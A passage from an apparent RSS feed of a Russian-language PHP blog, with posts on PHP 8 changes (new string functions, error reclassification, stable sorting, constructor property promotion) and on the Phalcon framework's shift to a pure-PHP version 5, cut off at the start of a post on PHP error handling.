str_ends_with('haystack', 'stack'); // true</code></pre><p>Как правило, эта функциональность достигается за счет использования существующих строковых функций, таких как substr, strpos/strrpos, strncmp или substr_compare(часто в сочетании с strlen), которые имеют различные недостатки. Что интересно,функциональность str_starts_with и str_ends_with настолько необходима, что ее поддерживают многие основные PHP-фреймворки, включая Symfony, Laravel, Yii, FuelPHP и Phalcon.<br></p><h2>Новая функция fdiv</h2><p>Новая функция&nbsp;<span style="font-size: 1rem;">&nbsp;</span><span style="font-size: 1rem;">fdiv</span>&nbsp;делает что-то подобное типа функций fmod и intdiv, что позволяет произвести деление на 0. Но вместо ошибок вы получите INF, -INF или NAN, в зависимости от случая.</p><h2>Новая функция get_debug_type()</h2><p>get_debug_type() возвращает тип переменной. Что-то похоже выдает gettype(), но get_debug_type() возвращает более полезный вывод для массивов, строк, анонимных классов и объектов. Например, вызов gettype() класса \Foo\Bar вернется object. Использование get_debug_type() вернет имя класса.</p><p>Полный список различий между get_debug_type()и gettype() можно найти в RFC.</p><h2>Новая функцияp get_resource_id()</h2><p>Ресурсы - это специальные переменные в PHP, ссылающиеся на внешние ресурсы. Например, соединение MySQL, или дескриптор файла.</p><p>Каждому из этих ресурсов присваивается идентификатор, хотя ранее единственным способом узнать, что это идентификатор, было преобразование ресурса в int:</p><p><br></p><pre class="line-numbers"><code class="language-php">$resourceId = (int) $resource;</code></pre><p>PHP 8 добавляет функцию&nbsp;<span style="font-size: 1rem;">get_resource_id()</span>, делая эту операцию более очевидной и безопасной для типов:</p><p><br></p><pre class="line-numbers"><code class="language-php">$resourceId = get_resource_id($resource);</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"><br></span></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Улучшение абстрактных методов трейтов&nbsp;</span><br></p><p>Трейты - это «механизм повторного использования кода в языках с единичным наследованием, таких как PHP». Обычно они используются для объявления методов, которые можно использовать в нескольких классах. Трейты так же могут содержать абстрактные методы, которые должны быть реализованы классами, использующими их. Однако есть предостережение: до PHP 8 сигнатура этих реализаций методов не проверялась. Следующее было действительным:</p><p><br></p><pre class="line-numbers"><code class="language-php">trait Test {
    abstract public function test(int $input): int;
}

class UsesTrait
{
    use Test;

    public function test($input)
    {
        return $input;
    }
}</code></pre><p>PHP 8 будет выполнять правильную проверку подписи метода при использовании свйоства и реализации его абстрактных методов. Это также означает, что подписи методов должны совпадать. Другими словами, тип и количество требуемых аргументов должны быть одинаковыми:</p><p><br></p><pre class="line-numbers"><code class="language-php">class UsesTrait
{
    use Test;

    public function test(int $input): int
    {
        return $input;
    }
}</code></pre><p>Как бы то ни было, по словам автора RFC Никиты Попова , проверка подписи в настоящее время применяется только точечно:</p><ul><li>Это не применяется в наиболее распространенном случае, когда реализация метода обеспечивается в используемом классом<br></li><li>Это принудительно, если реализация исходит из родительского класса</li><li>Это принудительно, если реализация исходит от дочернего класса</li></ul><h2>Объектно-ориентированная альтернатива token_get_all()</h2><p><span style="font-size: 1rem;">Функция&nbsp;</span>token_get_all() возвращает массив значений. Этот RFC добавляет&nbsp;<span style="font-size: 1rem;">класс&nbsp;</span>PhpToken с&nbsp;<span style="font-size: 1rem;">методом</span>&nbsp;PhpToken::getAll(). Эта реализация работает с объектами вместо простых значений, его легче читать, и потребляет меньше памяти.</p><p><br></p><hr><h2>Изменения синтаксиса переменных <a href="https://wiki.php.net/rfc/variable_syntax_tweaks" target="_blank">RFC</a></h2><p>Унифицированный синтаксис переменной RFC устранил ряд несоответствий в синтаксисе переменной PHP. Этот RFC намеревается решить небольшую горстку пропущенных дел.</p><h2>Тип аннотации для внутренних функций</h2><p>Много людей&nbsp;<a href="https://github.com/php/php-src/pulls?q=is%3Apr+label%3AStubs+is%3Aclosed" target="_blank">хотят добавить</a>&nbsp;соответствующие аннотации типов для всех внутренних функций. Это означает, что внутренние функции и методы будут иметь полную информацию о типе в отражении.</p><h2>Расширение ext-json всегда доступен</h2><p>Ранее можно было скомпилировать PHP без включенного расширения JSON, теперь это больше невозможно. Поскольку JSON так широко используется, то разработчики теперь всегда могут рассчитывать на его наличие, вместо того, чтобы лишний раз убеждаться, что расширение существует.</p><p><br></p><hr><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">"Сломанные изменения"</span></p><p>PHP 8 - серьезное обновление и, следовательно, будут серьезные изменения. Лучшее, что можно сделать, это взглянуть на полный список критических изменений в документе <a href="https://github.com/php/php-src/blob/master/UPGRADING#L20" target="_blank">ОБНОВЛЕНИЕ</a> . Однако многие из этих критических изменений устарели в предыдущих версиях 7. *, поэтому, если вы были в курсе последних лет, не так уж сложно перейти на PHP 8.</p><p><br></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Согласованные постоянные ошибки типов</span></p><p>Пользовательские функции в PHP уже генерируют TypeErrors, но внутренние функции этого не делали, они скорее пропускали предупреждения и возвращали null. Начиная с PHP 8 поведение внутренних функций стало более согласованным.</p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Переклассифицированы предупреждения</span></p><p>Множество ошибок, которые ранее вызывали только предупреждения или уведомления, были преобразованы в правильные ошибки:</p><ul><li>Undefined variable <b>(Неопределенная переменная)</b>: Error исключение вместо уведомления</li><li>Undefined array index <b>(Неопределенный индекс массива)</b>: предупреждение вместо уведомления</li><li>Division by zero <b>(Деление на ноль)</b>: DivisionByZeroError исключение вместо предупреждения</li><li>Attempt to increment/decrement property '%s' of non-object <b>(Попытка увеличить/уменьшить свойство "%s" необъекта)</b>: Error исключение вместо предупреждения</li><li>Attempt to modify property '%s' of non-object <b>(Попытка изменить свойство "%s" необъекта)</b>: Error исключение вместо предупреждения</li><li>Attempt to assign property '%s' of non-object <b>(Попытка назначить свойство "%s" необъекта)</b>: Error исключение вместо предупреждения</li><li>Creating default object from empty value <b>(Создание объекта по умолчанию из пустого значения)</b>: Error исключение вместо предупреждения</li><li>Trying to get property '%s' of non-object <b>(Попытка получить свойство "%s" необъекта)</b>: предупреждение вместо уведомления</li><li>Undefined property <b>(Неопределенное свойство)</b>: %s::$%s: предупреждение вместо уведомления</li><li>Cannot add element to the array as the next element is already occupied<b> (Невозможно добавить элемент в массив, так как следующий элемент уже занят)</b>: Error исключение вместо предупреждения</li><li>Cannot unset offset in a non-array variable <b>(Невозможно сбросить смещение в переменной, не являющейся массивом)</b>: Error исключение вместо предупреждения</li><li>Cannot use a scalar value as an array <b>(Нельзя использовать скалярное значение в качестве массива)</b>: Error исключение вместо предупреждения</li><li>Only arrays and Traversables can be unpacked <b>(Только массивы и Traversables могут быть распакованы)</b>: TypeError исключение вместо предупреждения</li><li>Invalid argument supplied for foreach() <b>(Указан неверный аргумент для foreach ())</b>: TypeError исключение вместо предупреждения</li><li>Illegal offset type <b>(Недопустимый тип смещения)</b>: TypeError исключение вместо предупреждения</li><li>Illegal offset type in isset or empty <b>(Недопустимый тип смещения в isset или empty)</b>: TypeError исключение вместо предупреждения</li><li>Illegal offset type in unset<b> (Недопустимый тип смещения в unset)</b>: TypeError исключение вместо предупреждения</li><li>Array to string conversion <b>(Преобразование массива в строку)</b>: предупреждение вместо уведомления</li><li>Resource ID#%d used as offset, casting to integer (%d) <b>(Идентификатор ресурса #%d, используемый в качестве смещения, приведение к целому числу (%d))</b>: предупреждение вместо уведомления</li><li>String offset cast occurred<b> (Произошло приведение смещения строки)</b>: предупреждение вместо уведомления</li><li>Uninitialized string offset: %d <b>(Смещение неинициализированной строки: %d)</b>: предупреждение вместо уведомления</li><li>Cannot assign an empty string to a string offset <b>(Невозможно назначить пустую строку для смещения строки):</b> Error исключение вместо предупреждения</li></ul><h2>Оператор @ больше не "глушит" фатальные ошибки</h2><p>Вполне возможно, что это изменение может выявить ошибки, которые снова были скрыты до PHP 8. Обязательно установите display_errors=Off на своих производственных серверах!</p><h2>Стандартный режим ошибки PDO</h2><p>Из RFC: <i>текущий режим ошибок по умолчанию для PDO - бесшумный. Это означает, что при возникновении ошибки SQL никакие ошибки или предупреждения не могут выдаваться и не генерируются исключения, если разработчик не реализует свою собственную явную обработку ошибок.</i></p><p><i>Э</i>тот RFC изменяет ошибку по умолчанию, которая изменится на PDO::ERRMODE_EXCEPTION.</p><h2>Уровень сообщений об ошибках по умолчанию</h2><p>Теперь по умолчанию в error_reporting уровень ошибок будет установлен в E_ALL вместо текущего &nbsp;E_ALL &amp; ~ E_NOTICE &amp; ~ E_STRICT &amp; ~ E_DEPRECATED. Это означает, что могут появиться много ошибок, которые ранее незаметно игнорировались, хотя, возможно, уже существовали до PHP 8.<br></p><h2>Приоритет при конкатенации</h2><p>Хотя это изменение уже устарело в PHP 7.4, теперь это изменение вступает в силу. Если бы вы написали что-то вроде этого:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">echo "sum: " . $a + $b;</code></pre><p>PHP ранее интерпретировал бы это так:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">echo ("sum: " . $a) + $b;</code></pre><p>PHP 8 сделает так, чтобы он интерпретировался так:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">echo "sum: " . ($a + $b);</code></pre><h2>Более строгие проверки типов для арифметических и побитовых операторов</h2><p>До PHP 8 можно было применять арифметические или побитовые операторы к массивам, ресурсам или объектам. Это больше не возможно и выдаст TypeError:</p><p><br></p><pre class="line-numbers"><code class="language-php">[] % [42];
$object + 4;</code></pre><h2><b style="font-size: 38px; color: rgb(40, 35, 49);">Имена в пространствах имен являются одним токеном <a href="https://wiki.php.net/rfc/namespaced_names_as_token" target="_blank">rfc</a>&nbsp;</b></h2><p>PHP используется для интерпретации каждой части пространства имен (разделенной обратной косой чертой \) как последовательности токенов. Этот RFC изменил это поведение, что означает, что теперь в пространствах имен можно использовать зарезервированные имена.</p><p><br></p><pre class="line-numbers"><code class="language-html">// In the library:
namespace iter\fn;
 
function operator($operator, $operand = null) { ... }
 
// In the using code:
use iter\fn;
 
iter\map(fn\operator('*', 2), $nums);</code></pre><h2>Более разумные числовые строки <a href="https://wiki.php.net/rfc/saner-numeric-strings" target="_blank">rfc</a></h2><p>Система типов PHP пытается делать много умных вещей, когда встречает числа в строках. Этот RFC делает такое поведение более последовательным и понятным.</p><h2>Более разумное сравнение чисел и строк&nbsp;<a href="https://wiki.php.net/rfc/string_to_number_comparison" target="_blank">rfc</a></h2><p>Этот RFC исправляет очень странный случай в PHP, когда 0 == "foo" возвращает результат как true. Есть и другие крайние случаи, подобные этому, и этот RFC исправляет их.<br></p><p><br></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Изменения подписи метода отражения</span><br></p><p>Три сигнатуры методов классов отражения были изменены:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">ReflectionClass::newInstance($args);
ReflectionFunction::invoke($args);
ReflectionMethod::invoke($object, $args);</code></pre><p>Теперь стали:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">ReflectionClass::newInstance(...$args);
ReflectionFunction::invoke(...$args);
ReflectionMethod::invoke($object, ...$args);</code></pre><p>В руководстве по обновлению указано, что если вы расширяете эти классы и по-прежнему хотите поддерживать как PHP 7, так и PHP 8, допускаются следующие подписи:</p><pre class="line-numbers" style="font-size: 14px;"><code class="language-php">ReflectionClass::newInstance($arg = null, ...$args);
ReflectionFunction::invoke($arg = null, ...$args);
ReflectionMethod::invoke($object, $arg = null, ...$args);</code></pre><h2>Стабильная сортировка <a href="https://wiki.php.net/rfc/stable_sorting" target="_blank">rfc</a></h2><p>До PHP 8 алгоритмы сортировки были нестабильны. Это означает, что порядок равных элементов не был гарантирован. PHP 8 изменяет поведение всех функций сортировки на стабильную сортировку.&nbsp;</p><p>Стабильные сортировки полезны, прежде всего, при сортировке сложных данных только по некоторой части этих данных. Рассмотрим этот пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">usort($users, function($user1, $user2) {
    return $user1-&gt;age &lt;=&gt; $user2-&gt;age;
});</code></pre><p>Этот код сортирует пользователей по возрасту. В настоящее время порядок пользователей в одной возрастной группе будет произвольным. При стабильной сортировке исходный порядок объектов будет сохранен. Например, если $users уже был отсортирован по имени, то $users теперь будут отсортированы по возрасту первым и по имени вторым. Конечно, в этом случае можно было бы явно отсортировать по двум критериям:</p><p><br></p><pre class="line-numbers"><code class="language-php">usort($users, function($user1, $user2) {
    return $user1-&gt;age &lt;=&gt; $user2-&gt;age
        ?: $user1-&gt;name &lt;=&gt; $user2-&gt;name;
});</code></pre><p>Однако это не всегда возможно, поскольку критерий, по которому данные были первоначально отсортированы, явно не сохраняется. Недавним случаем, с которым я столкнулся, был список git коммитов с метаданными, которые хранились в порядке push (но порядок push не был явно сохранен при каждом коммите).</p><p>Помимо предоставленных пользователем функций сравнения, другой случай, когда стабильная сортировка часто желательна, - это&nbsp;<span style="font-size: 1rem;">функция</span>&nbsp;asort(), которая сортирует по значению, но сохраняет ключи.</p><p><br></p><pre class="line-numbers"><code class="language-php">$array  =  [ 
    'c'  =&gt;  1 , 
    'd'  =&gt;  1 , 
    'a'  =&gt;  0 , 
    'b'  =&gt;  0 , 
]; 
asort($array) ;
 
// При стабильной сортировке результат всегда: 
[ 'a'  =&gt;  0 ,  'b'  =&gt;  0 ,  'c'  =&gt;  1 ,  'd'  =&gt;  1 ]
 
// При нестабильной сортировке возможны также следующие результаты: 
[ 'b'  =&gt;  0 ,  'a'  =&gt;  0 ,  'c'  =&gt;  1 ,  'd'  =&gt;  1 ] 
[ 'a'  =&gt;  0 ,  'b'  =&gt;  0 ,  'd'  =&gt;  1 ,  'c'  =&gt;  1 ] 
[ 'b'  =&gt;  0 ,  'a'  =&gt;  0 ,  'd'  =&gt;  1 ,  'c' =&gt;  1 ]</code></pre><p>Можно эмулировать стабильную сортировку поверх нестабильной, явно сохраняя исходный порядок элементов и используя его в качестве критерия сравнения, но дополнительное косвенное обращение делает сортировку намного медленнее, а также резко увеличивает использование памяти во время сортировки.</p><p>Этот RFC предлагает сделать все функции сортировки PHP стабильными. Сюда входят rsort, usort, asort, arsort, uasort, ksort, krsort, uksort, array_multisort, а также соответствующие методы ArrayObject.</p><h2>Неустранимая ошибка для несовместимых сигнатур методов <a href="https://wiki.php.net/rfc/lsp_errors" target="_blank">rfc</a></h2><p>Ошибки наследования из-за несовместимых сигнатур методов в настоящее время либо генерируют фатальную ошибку, либо предупреждение в зависимости от причины ошибки и иерархии наследования.</p><p>Если класс реализует интерфейс, несовместимые сигнатуры методов вызывают фатальную ошибку. Согласно документации <a href="https://www.php.net/manual/en/language.oop5.interfaces.php" target="_blank">Object Interfaces</a>:</p><blockquote>Класс, реализующий интерфейс, должен использовать сигнатуру метода, совместимую с LSP (принцип замещения Лисков). Невыполнение этого приведет к фатальной ошибке</blockquote><p>Вот пример <a href="https://wiki.php.net/rfc/lsp_errors" target="_blank">ошибки наследования с интерфейсом</a>:</p><p><br></p><pre class="line-numbers"><code class="language-php">interface I {
	public function method(array $a);
}
class C implements I {
	public function method(int $a) {}
}</code></pre><p>В PHP 7.4 приведенный выше код вызовет следующую ошибку:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">Fatal error: Declaration of C::method(int $a) must be compatible with I::method(array $a) in /path/to/your/test.php on line 7</code></pre><p>Функция в дочернем классе с несовместимой подписью выдала бы предупреждение.</p><p><br></p><pre class="line-numbers"><code class="language-php">class C1 {
	public function method(array $a) {}
}
class C2 extends C1 {
	public function method(int $a) {}
}</code></pre><p>В PHP 7.4 приведенный выше код просто выдал бы предупреждение:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">Warning: Declaration of C2::method(int $a) should be compatible with C1::method(array $a) in /path/to/your/test.php on line 7</code></pre><p>Теперь <a href="https://wiki.php.net/rfc/lsp_errors" target="_blank">этот RFC</a> предлагает всегда выдавать фатальную ошибку для несовместимых сигнатур методов. В PHP 8 код, который мы видели ранее, подсказывал следующее:</p><p><br></p><pre class="line-numbers"><code class="language-php">Fatal error: Declaration of C2::method(int $a) must be compatible with C1::method(array $a) in /path/to/your/test.php on line 7</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Устаревшее</span><br></p><p>Во время разработки PHP 7. * было добавлены предупреждения об устаревании, которые теперь полностью удалены в PHP 8.</p><ul><li>Устаревшее в&nbsp;<a href="https://wiki.php.net/rfc/deprecations_php_7_2" target="_blank">PHP 7.2</a></li><li><span style="font-size: 1rem;">Устаревшее</span>&nbsp;в&nbsp;<a href="https://wiki.php.net/rfc/deprecations_php_7_3" target="_blank">PHP 7.3</a></li><li><span style="font-size: 1rem;">Устаревшее</span>&nbsp;в&nbsp;<a href="https://wiki.php.net/rfc/deprecations_php_7_4" target="_blank">PHP 7.4</a></li></ul>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/17</guid>
                <pubDate>2020-08-21T05:29:32+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Будущее развитие фреймворка Phalcon]]></title>
                <link>https://sergeymukhin.com/blog/budushhee-razvitie-freimvorka-phalcon</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Будущее развитие фреймворка Phalcon</h1><blockquote>Последние события круто изменили вектор направления развития фреймворка Phalcon и я сейчас постараюсь описать самые значимые новости по данному вопросу.</blockquote><p><img src="/files/blog/2020/budushhee-razvitie-freimvorka-phalcon-6nuwJ4.png"></p><h2>Изменения в команде</h2><p><a href="https://www.youtube.com/watch?v=5nrQHgyeZUw" target="_blank" style="background-color: rgb(255, 255, 255);">Последний стрим</a> от команды Phalcon, конечно, взбудоражил все сообщество фреймворка.&nbsp;<br></p><p>Главное изменение в команде - уход <a href="https://github.com/sergeyklay" target="_blank">Сергея Яковлева</a>&nbsp;в отставку из-за нехватки времени, что повлекло за собой возникновение проблем с поддержкой языка <a href="https://zephir-lang.com/" target="_blank">Zephir</a>, который был специально разработан для создания последних версий фреймворка Phalcon, чтобы сообщество могло более активно вносить предложения по функционалу Phalcon, т.к. Зефир по своему синтаксису&nbsp;гораздо более простой язык чем C, и был близок к PHP/JS. К сожалению, язык не стал популярным, и поэтому мало кто хотел вносить свой вклад в развитие языка.&nbsp;Язык стал стагнировать, и его было трудно поддерживать.&nbsp;Было обнаружено множество ошибок, и их было очень трудно исправить, чтобы не перерабатывать весь язык.</p><p>После ухода Сергея в команде Phalcon больше нет активных мейнтейнеров, чтобы взять на себя руководство и помогать с разработкой, исправлением ошибок и т.д. Было принято решением приостановить активную разработку Zephir, и в будущем теперь скорее всего, он не будет совместим с PHP 8. Но все же желающие всегда могут помочь с Zephir.</p><h2>Phalcon</h2><p>Теперь же, без Zephir, команда не сможет должным образом поддерживать и улучшать фреймворк. Дальнейшие варианты предполагали:</p><ul><li>Либо отказать и прекратить разработку Phalcon</li><li>Решиться на смелый шаг, кардинально поменяв концепцию, и начать писать фреймворк на нативном PHP.</li></ul><p>Команда выбрала второй вариант, и писать Phalcon 5 на PHP, при этом постараются максимально поддерживать Phalcon 4 и выпустить следующую версию 4.1. А так же исправлять некоторые критические проблемы Zephir, которые мешают работе текущей версии Phalcon.</p><h2>Phalcon 5&nbsp;&nbsp;</h2><p>Конечно немного неожидан такой быстрый переход от Phalcon 4 к Phalcon 5, но текущие событие диктуют свои условия для безболезненного перехода на следующую мажорную версию фреймворка. Что известно на текущий день:</p><ul><li>Будет реализован на чистом PHP</li><li>Установка через composer</li><li>Обратная совместимость, насколько это возможно (это будет зависеть от того, насколько легко получится перевести текущие парсеры C для Volt, PHQL и аннотаций)</li><li>Поддержка PHP 7.4 и будущая PHP 8</li><li>Цели и философия Phalcon остаются неизменными (производительность, низкие накладные расходы, простота использования)<br></li><li><a href="https://github.com/niden/cardoe" target="_blank">Cardo</a> (сторонний проект от <a href="https://github.com/niden" target="_blank">niden</a> можно использовать как отправную точку)</li><li>Паттерн <a href="https://github.com/pmjones/adr" target="_blank">ADR</a> (Action Domain Responder), как запланировано в версии 4</li><li>Стремление к 100% покрытию кода и тестам</li><li>Возможно асинхронная работа (в будущем)</li></ul><p>В ближайшее время запланированы исправление ошибок Phalcon 4, а так же создание требований к дизайну Phalcon 5, презентация, настройка репозитория, тесты производительности и выпуск альфа версии фреймворка.</p><p>Возможно это не совсем то, что мы хотели бы видеть, но нужно быть реалистами. Нельзя просто так покинуть сообщество, и действительно, нужно верить, что Phalcon - отличный проект, который приносит пользу сообществу PHP.</p><p>Уже точно известно, что мы потеряем часть производительности, к которой мы привыкли при использовании Phalcon, конечно PHP 7 смог достаточно ощутимо преодолеть разрыв в производительности, который мы видели при использовании PHP 5.x и Phalcon. Правда остается надежда, что <a href="https://sergeymukhin.com/blog/php-jit" target="_blank">JIT</a> в PHP 8 сможет минимизировать эту потерю, но, что-то точно можно сказать только после тестов.&nbsp;<br></p><p>Теперь же главной задачей&nbsp; команды Phalcon остается сохранение структуры, а переход на чистый PHP, может быть плюсом к тому, что сообщество теперь может более активно участвовать в проекте, а также помогать с надстройками, инкубатором и многим другим. Что ж, ждем с нетерпением новую версию Phalcon 5.</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/36</guid>
                <pubDate>2020-08-20T06:55:52+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8: Объявление свойств в конструкторе]]></title>
                <link>https://sergeymukhin.com/blog/php-8-prodvizenie-svoistv-konstruktora</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8: Объявление свойств в конструкторе</h1><blockquote>RFC по объявлению свойств в конструкторе прошел и будет добавлен в PHP 8 . Эта функция сократит количество стандартного кода при создании простых объектов, таких как VO и DTO.</blockquote><p>Вкратце: объявлению свойств в конструкторе позволяет вам объединить поля класса, определение конструктора и назначения переменных в один синтаксис в списке параметров конструктора.</p><p>Поэтому вместо этого:</p><p><br></p><pre class="line-numbers"><code class="language-php">class CustomerDTO
{
    public string $name;

    public string $email;

    public DateTimeImmutable $birth_date;

    public function __construct(
        string $name, 
        string $email, 
        DateTimeImmutable $birth_date
    ) {
        $this-&gt;name = $name;
        $this-&gt;email = $email;
        $this-&gt;birth_date = $birth_date;
    }
}</code></pre><p>можно написать:</p><p><br></p><pre class="line-numbers"><code class="language-php">class CustomerDTO
{
    public function __construct(
        public string $name, 
        public string $email, 
        public DateTimeImmutable $birth_date,
    ) {}
}</code></pre><p>Посмотрим, как это работает!</p><h2>Как это устроено</h2><p>Основная идея проста: отбросить все свойства класса и присвоение переменных и добавить к параметрам конструктора префикс public, protected или private. PHP примет этот новый синтаксис и преобразует его в нормальный синтаксис под капотом, прежде чем фактически выполнить код.</p><p>Итак, это:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyDTO
{
    public function __construct(
        public string $name = 'Sergey',
    ) {}
}</code></pre><p>Приводится к этому:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyDTO
{
    public string $name;

    public function __construct(
        string $name = 'Sergey'
    ) {
        $this-&gt;name = $name;
    }
}</code></pre><p>И только потом выполняет. Кстати, обратите внимание, что значение по умолчанию устанавливается не для свойства класса, а для аргументов метода в конструкторе.</p><h2>Объявляемые свойства</h2><p>Итак, давайте посмотрим, что можно и чего нельзя делать объявляемым свойствам. Здесь стоит упомянуть множество мелких нюансов!</p><p><br></p><h3>Только в конструкторах</h3><p>Объявляемые свойства можно использовать только в конструкторах. Это может показаться очевидным, но, думаю, стоит упомянуть об этом, просто для ясности.</p><p><br></p><h3>Дубликаты не допускаются</h3><p>Вы не можете объявить свойство класса и объявляемое свойство с тем же именем. Это также довольно логично, поскольку объявляемое свойство просто переносится в свойство класса во время выполнения.</p><p>Этот код вызовет ошибку:</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyClass
{
    public string $a;

    public function __construct(
        public string $a,
    ) {}
}</code></pre><p><br></p><h3>Разрешены нетипизированные свойства</h3><p>Вам разрешено объявлять нетипизированные свойства, но в наши дни с <a href="https://sergeymukhin.com/blog/php-v-2020-godu" target="_blank">современным PHP</a>&nbsp;<span style="font-size: 1rem;">я бы рекомендовал&nbsp;</span>использовать типы всегда.</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyDTO
{
    public function __construct(
        public $untyped,
    ) {}
}</code></pre><p><br></p><h3>Простые значения по умолчанию</h3><p>Объявляемые свойства могут иметь значения по умолчанию, но выражения вроде new … недопустимы, например это код будет не валиден:</p><p><br></p><pre class="line-numbers"><code class="language-php">public function __construct(
    public string $name = 'Sergey',
    public DateTimeImmutable $date = new DateTimeImmutable(),
) {}</code></pre><p><br></p><h3>Комбинирование продвинутых и обычных свойств</h3><p>Не все свойства конструктора следует объявлять, их можно смешивать и сочетать.</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyClass
{
    public string $b;

    public function __construct(
        public string $a,
        string $b,
    ) {
        $this-&gt;b = $b;
    }
}</code></pre><p>Тут, кстати, нужно быть осторожным, смешивая синтаксисы можно сделать код менее понятным, подумайте об использовании вместо этого обычного конструктора.<br></p><p><br></p><h3>Доступ к объявляемым свойствам из тела конструктора</h3><p>Вам разрешено читать объявляемые свойства в теле конструктора. Это может быть полезно, если вы хотите провести дополнительные проверки. Вы можете использовать как локальную переменную, так и переменную экземпляра, обе работают нормально.</p><p><br></p><pre class="line-numbers"><code class="language-php">public function __construct(
    public int $a,
    public int $b,
) {
    assert($this-&gt;a &gt;= 500);

    if ($b &gt;= 0) {
        throw new InvalidArgumentException('…');
    }
}</code></pre><p><br></p><h3>Док комментарии в объявляемых свойствах</h3><p>Вы можете добавлять комментарии к объявляемым свойствам, и они по-прежнему доступны через рефлексии<br></p><p><br></p><pre class="line-numbers"><code class="language-php">class MyClass 
{
    public function __construct(
        /** @var string */
        public $a,
    ) {}
}</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">$property = new ReflectionProperty(MyClass::class, 'a');

$property-&gt;getDocComment(); // "/** @var string */"</code></pre><p><br></p><h3>Атрибуты</h3><p>Как и в случае с док блоками, в объявляемых свойствах разрешены <a href="https://sergeymukhin.com/blog/atributy-v-php-8" target="_blank">атрибуты</a>. При переносе они будут присутствовать как в параметре конструктора, так и в свойстве класса.</p><p><br></p><pre class="line-numbers"><code class="language-php">class MyClass
{
    public function __construct(
        &lt;&lt;MyAttribute&gt;&gt;
        public $a,  
    ) {}
}</code></pre><p>Будет перенесено на:</p><p>&nbsp;</p><pre class="line-numbers"><code class="language-php">class MyClass 
{
    &lt;&lt;MyAttribute&gt;&gt;
    public $a;
 
    public function __construct(
        &lt;&lt;MyAttribute&gt;&gt;
        $a,
    ) {
        $this-&gt;a = $a;
    }
}</code></pre><p><br></p><h3>Не допускается в абстрактных конструкторах&nbsp;</h3><p>Не все знают, что абстрактные конструкторы вообще существуют, но в них нельзя размещать объявляемым объекты.</p><p><br></p><pre class="line-numbers"><code class="language-php">abstract class A
{
    abstract public function __construct(
        public string $a,
    ) {}
}</code></pre><p><br></p><h3>Разрешены в трейтах</h3><p>С другой стороны, они допускают использование в трейтах. Это имеет смысл, поскольку транспилированный синтаксис также действителен в трейтах.</p><p><br></p><pre class="line-numbers"><code class="language-php">trait MyTrait
{
    public function __construct(
        public string $a,
    ) {}
}</code></pre><p><br></p><h3>var не поддерживается</h3><p>Если кто-то еще использует var как в далеком прошлом для объявления переменных класс, то объявляемые свойства не допускает такой синтаксис. Д<span style="font-size: 1rem;">ействительны&nbsp;</span><span style="font-size: 1rem;">т</span><span style="font-size: 1rem;">олько</span><span style="font-size: 1rem;">&nbsp;ключевые слова</span>&nbsp;public, protected и private.</p><p>Этот код будет не валиден:</p><p><br></p><pre class="line-numbers"><code class="language-php">public function __construct(
    var string $a,
) {}</code></pre><p><br></p><h3>Невозможно объявлять Вариативные свойства&nbsp;</h3><p><br></p><pre class="line-numbers"><code class="language-php">public function __construct(
    public string ...$a,
) {}</code></pre><p>Все еще ждем дженериков…</p><p><br></p><h3>Рефлексия для isPromoted</h3><p>У обоих ReflectionProperty и ReflectionParameter есть новый&nbsp;<span style="font-size: 1rem;">метод</span>&nbsp;isPromoted() для проверки, объявляется ли свойство класса или параметр метода.</p><p><br></p><h3>Наследование</h3><p>Поскольку конструкторам PHP не нужно следовать объявлению их родительского конструктора, то следует что, наследование разрешено. Если вам нужно передать свойства из дочернего конструктора в родительский конструктор, вам нужно будет передать их вручную:<br></p><p><br></p><pre class="line-numbers"><code class="language-php">class A
{
    public function __construct(
        public $a,
    ) {}
}

class B extends A
{
    public function __construct(
        $a,
        public $b,    
    ) {
        parent::__construct($a);
    }
}</code></pre><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/35</guid>
                <pubDate>2020-08-13T06:33:08+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Современная обработка ошибок в PHP]]></title>
                <link>https://sergeymukhin.com/blog/sovremennaya-obrabotka-oshibok-v-php</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Современная обработка ошибок в PHP</h1><blockquote>Хотя PHP уже давно поддерживает обработку исключений, однако, по сравнению с Java эта поддержка была довольно слабой</blockquote><p>Первоначальная поддержка обработки исключений была введена в язык с 5 версии PHP, с двумя простыми встроенными классами исключений - Exception и ErrorException, с поддержкой дополнительных классов через SPL. Идея этого поста состоит в том, чтобы представить читателям современные возможности обработки исключений PHP.&nbsp;</p><h2>Новый интерфейс</h2><p>Хотя PHP 7 предоставляет классы Error и Exception, давайте сначала затронем интерфейс <a href="https://www.php.net/manual/en/class.throwable.php" target="_blank">Throwable</a> . И Error и Exception классы реализуют&nbsp;<span style="font-size: 1rem;">Throwable&nbsp;</span>интерфейс - это основа для любого объекта , который может быть брошен с помощью оператора throw. Единственное, что он не может быть реализован непосредственно в классах пользовательского пространства, только через 